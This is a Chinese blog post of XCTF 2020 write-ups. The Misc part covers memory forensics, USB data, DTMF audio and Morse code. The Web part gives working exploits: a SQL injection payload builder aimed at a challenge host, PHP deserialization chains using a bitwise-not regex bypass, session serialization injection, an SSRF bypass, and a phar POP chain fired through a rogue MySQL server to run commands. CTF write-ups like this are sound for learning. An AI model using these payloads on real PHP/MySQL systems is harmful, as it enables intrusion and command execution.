CTF

XCTF Misc和Web部分题解

Posted on 2020-03-07,8 min read
MISC

ez_mem&usb
首先看HTTP流。发现一个zip

导出后。解压得到data.vmem。拖入kali进行内存取证

查看进程。发现cmd

发现一个密码。先放着

filescan。找到flag.img

导出。挂载

禁止套娃!得到usbdata.zip

用之前的密码得到usbdata.txt
usb转换一下就行了

隐藏的信息
zip伪加密。。解压得到隐藏的信息.wav
通过audacity发现。视频头和尾有电话拨号的声音
DTMF(双音多频)
github上有工具。https://github.com/hfeeki/dtmf

到这里。都没用到另一张图片。

图片中得到提示。base64提交那串数字

简单的MISC
photo.jpg分离出一个zip。
得到ctf.txt。摩斯密码解密。作为密码解压flag.zip
拿到flag

Web
114师傅🐮🍺

P3师傅🐮🍺
easy_trick_gzmtu
这题是个SQL注入。一直困扰了好久。最后114师傅。发现了倪端。打破僵局。
这是后来读取的源码

<?php
include('conn.php');
error_reporting(0);
$time = date($_GET['time']);
$sql = "select * from `content` where `createtime` = '$time' ";
$r = $conn->query($sql);
$content = $r->fetch_array(MYSQL_ASSOC);
?>

直接将值放入date函数。缓缓打出一个?
反正会将date函数中有特殊意义的字符串。直接解析。比如

解决办法就是在用反斜杠包裹。比如or-->\o\r
然后就可以通过回显注入。得到密码
字段数:3

得到表名,admin/content

得到列名:id,username,passwd,url

得到用户名密码:admin/20200202goodluck
以及一个url:/eGlhb2xldW5n

附上我写的菜鸡脚本

import requests
url='http://121.37.181.246:6333/?time='
payload=input()
sql=''
for i in payload:
    sql+='\\'+i
print (sql)
#手工加上%23

进入url。用admin和密码登陆
右键源代码发现hint:/eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php
有一个文件读取。提示本地访问

试了Client-ip XFF Host头。都无果
最后是url中用file://localhost绕过
直接去读取/eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php文件
得到

<?php

class trick{
	public $gf;
	public function content_to_file($content){	
		$passwd = $_GET['pass'];
		if(preg_match('/^[a-z]+\.passwd$/m',$passwd)) 
	{ 

		if(strpos($passwd,"20200202")){
			echo file_get_contents("/".$content);

		}

		 } 
		}
	public function aiisc_to_chr($number){
		if(strlen($number)>2){
		$str = "";
		 $number = str_split($number,2);
		 foreach ($number as $num ) {
		 	$str = $str .chr($num);
		 }
		 return strtolower($str);
		}
		return chr($number);
	}
	public function calc(){
		$gf=$this->gf;
		if(!preg_match('/[a-zA-z0-9]|\&|\^|#|\$|%/', $gf)){
		  	eval('$content='.$gf.';');
		  	$content =  $this->aiisc_to_chr($content); 
		  	return $content;
		}
	}
	public function __destruct(){
        $this->content_to_file($this->calc());
        
    }
	
}
unserialize((base64_decode($_GET['code'])));
?>

ok。是一个反序列化
我们可控一个$gf
然后$gf会经过正则匹配。不能出现
那么可以通过取反绕过。
继续看。$gf会被赋值给$content
然后经过aiisc_to_chr。转换为字符。
也就是说。我们输入一串ascii码。然后不能出现正则的字符。接着会2个2个解码为字符
接着GET传参pass。必须是a-z开头.passwd结尾。并且要包含20200202。
ctf的一些小绕过。a.passwd%0a20200202即可绕过
。我只能想到这了。。。下面贴一下114师傅的exp

<?php
class trick{
	public $gf;
}
$a=new trick();
$a->gf="~'".~'70766571'."'";
#70766571表示的是FLAG。因为chr是两位分割。所以不能用小写。后面会处理为小写
echo base64_encode(serialize($a));


大致意思呢。就是将70766571取反的结果外面套一层~

执行结果是这样

hackme
www.zip源码泄露。
在core/index.php中发现一段注释。需要变成管理员用户。结合check_session函数。条件是$_SESSION['admin']=1

搜下哪边有session赋值的操作

这一幕。仿佛就是session反序列化。。
我们先理清楚大概流程

login.php->包含init.php->php_serialize->session赋值。表示已登陆
upload_sign.php->包含init.php->更新session
profile.php->设置session处理器为php->反序列化修改session

那么就不多说了。先login.php登陆。然后更新session。

<?php

class info
{
    public $admin;
    public $sign;
}
$a=new info();
$a->admin=1;
echo serialize($a);
#不知道为啥。sign为123啥的就反序列化不成功

运行得到O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";i:123;}
登陆后。更新签名为|O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";i:123;}

访问profile.php。触发反序列化。

然后就是Byte CTF的题目+eval四长度写shell
https://blog.csdn.net/a3320315/article/details/102989485/
https://lorexxar.cn/2017/11/10/hitcon2017-writeup/#babyfirst-revenge-v2
参考以上两篇文章即可。一模一样。

sqlcheckin
给出了源码。

这里返回的用户名得是admin。并且过滤了一些字符。

用'-'绕过。mysql和php一样。存在弱类型特性。字符串与0比较是相等的

fmkq

首先就是变量覆盖。
$head不能是数字字母
$url不能带有协议。log这类的
$ch=$head.'curl_init'()
$head为\。即可绕过。\表示命名空间。在code breaing中做过
sprintf($begin.'%d',$output)
将输出结果。放入sprintf中。以数字输出。
那么我们得想办法绕过这个

可以利用变量覆盖。将$begin设为%1$s将第一个参数的值以string类型输出。那么这里第一个参数就是我们的output

url进行SSRF。得到8080端口有个应用

环境没了。暂时先咕咕咕。

webct
就一个上传图片+数据库连接
www.zip源码泄露。分析下
在config.php发现危险函数

而mysql只要设置load_file选项为1.就能触发phar反序列化。
思路就有了。构造一个phar.jpg。然后上传。通过mysql触发反序列化执行命令
首先。我们构造下pop链。
反序列化。没有可以调用listdir()函数的。那么只能通过调用一个不存在的方法。触发call魔法函数

在Fileupload类中。我们发现__destruct方法中。存在file可控。并且会调用xs方法
以下是payload:

<?php
class Fileupload
{
    public $file;
}
class Listfile
{
    public $file;
}
$b=new Fileupload();
$b->file=new Listfile();
$b->file->file=';/readflag';
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering(); 
$phar->setStub('GIF89a'."<?php __HALT_COMPILER(); ?>"); 
$phar->setMetadata($b); 
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

生成后。修改为gif.jpg。上传
uploads下存在目录遍历。找到上传图片的相对路径
在VPS上开启一个Rogue_mysql_server。文件名用phar://图片路径

接下来就通过数据库连接功能触发反序列化
需要配置MYSQLI_OPT_LOCAL_INFILE为True

源码中。已经配置了1(True)。那么只要输入MYSQLI_OPT_LOCAL_INFILE就行了

这有个坑。查看手册。发现mysql_options函数。第一个参数不是字符串?????要求是数字类型

也就是说每个配置项。有对应的数字ID?
burp爆破下。ID为8时。成功触发反序列化。
至于为什么直接执行/readflag呢。之前我已经看过目录了。。这里直接拿flag

下一篇: [强网杯 2019]Upload(thinkphp代码审计序列化)→